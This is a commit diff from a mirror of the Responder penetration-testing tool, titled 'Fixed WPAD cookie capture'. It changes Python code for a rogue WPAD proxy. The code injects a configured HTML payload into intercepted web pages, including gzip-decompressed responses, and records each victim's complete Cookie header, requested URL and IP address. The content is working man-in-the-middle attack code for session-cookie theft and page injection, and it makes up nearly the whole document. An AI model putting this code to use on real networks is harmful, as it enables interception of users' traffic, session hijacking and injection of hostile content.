mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 13:00:00 -07:00
Fixed WPAD cookie capture
This commit is contained in:
parent
e396aa9865
commit
afe2b63c6a
1 changed files with 15 additions and 12 deletions
27
Responder.py
27
Responder.py
|
@ -1180,7 +1180,7 @@ class HTTP(BaseRequestHandler):
|
||||||
#HTTP Proxy Stuff
|
#HTTP Proxy Stuff
|
||||||
##################################################################################
|
##################################################################################
|
||||||
def HandleGzip(Headers, Content, Payload):
|
def HandleGzip(Headers, Content, Payload):
|
||||||
if len(Content) > 10:
|
if len(Content) > 5:
|
||||||
try:
|
try:
|
||||||
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||||
except:
|
except:
|
||||||
|
@ -1190,7 +1190,7 @@ def HandleGzip(Headers, Content, Payload):
|
||||||
HasHTML = re.findall('(?<=<html)[^<]*', unziped)
|
HasHTML = re.findall('(?<=<html)[^<]*', unziped)
|
||||||
if HasHTML :
|
if HasHTML :
|
||||||
if Verbose == True:
|
if Verbose == True:
|
||||||
print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
|
print 'Injecting: %s into the original page'%(Payload)
|
||||||
Content = unziped.replace("<html", Payload+"\n<html")
|
Content = unziped.replace("<html", Payload+"\n<html")
|
||||||
ziped = zlib.compress(Content)
|
ziped = zlib.compress(Content)
|
||||||
FinalLen = str(len(ziped))
|
FinalLen = str(len(ziped))
|
||||||
|
@ -1201,9 +1201,13 @@ def HandleGzip(Headers, Content, Payload):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def InjectData(data, Payload):
|
def InjectData(data):
|
||||||
|
Payload = config.get('HTTP Server','HTMLToServe')
|
||||||
if len(data.split('\r\n\r\n'))>1:
|
if len(data.split('\r\n\r\n'))>1:
|
||||||
Headers, Content = data.split('\r\n\r\n')
|
try:
|
||||||
|
Headers, Content = data.split('\r\n\r\n')
|
||||||
|
except:
|
||||||
|
return data
|
||||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||||
if [s for s in RedirectCodes if s in Headers]:
|
if [s for s in RedirectCodes if s in Headers]:
|
||||||
return data
|
return data
|
||||||
|
@ -1218,7 +1222,7 @@ def InjectData(data, Payload):
|
||||||
HasHTML = re.findall('(?<=<html)[^<]*', Content)
|
HasHTML = re.findall('(?<=<html)[^<]*', Content)
|
||||||
if HasHTML :
|
if HasHTML :
|
||||||
if Verbose == True:
|
if Verbose == True:
|
||||||
print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
|
print 'Injecting: %s into the original page'%(Payload)
|
||||||
NewContent = Content.replace("<html", Payload+"\n<html")
|
NewContent = Content.replace("<html", Payload+"\n<html")
|
||||||
FinalLen = str(len(NewContent))
|
FinalLen = str(len(NewContent))
|
||||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
|
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
|
||||||
|
@ -1288,11 +1292,10 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
params, query,
|
params, query,
|
||||||
'')),
|
'')),
|
||||||
self.request_version))
|
self.request_version))
|
||||||
for headers in self.headers.items():
|
if "Cookie" in self.headers:
|
||||||
if "cookie" in headers:
|
Cookie = self.headers['Cookie']
|
||||||
Cookie = self.headers['Cookie']
|
else:
|
||||||
else:
|
Cookie = ''
|
||||||
Cookie = ''
|
|
||||||
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0])
|
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0])
|
||||||
if Verbose == True:
|
if Verbose == True:
|
||||||
print Message
|
print Message
|
||||||
|
@ -1306,7 +1309,7 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
try:
|
try:
|
||||||
self._read_write(soc, netloc)
|
self._read_write(soc, netloc)
|
||||||
except:
|
except:
|
||||||
pass
|
raise
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
soc.close()
|
soc.close()
|
||||||
|
@ -1327,7 +1330,7 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
out = self.connection
|
out = self.connection
|
||||||
try:
|
try:
|
||||||
if len(config.get('HTTP Server','HTMLToServe'))>5:
|
if len(config.get('HTTP Server','HTMLToServe'))>5:
|
||||||
data = InjectData(i.recv(8192), config.get('HTTP Server','HTMLToServe'))
|
data = InjectData(i.recv(8192))
|
||||||
else:
|
else:
|
||||||
data = i.recv(8192)
|
data = i.recv(8192)
|
||||||
except:
|
except:
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue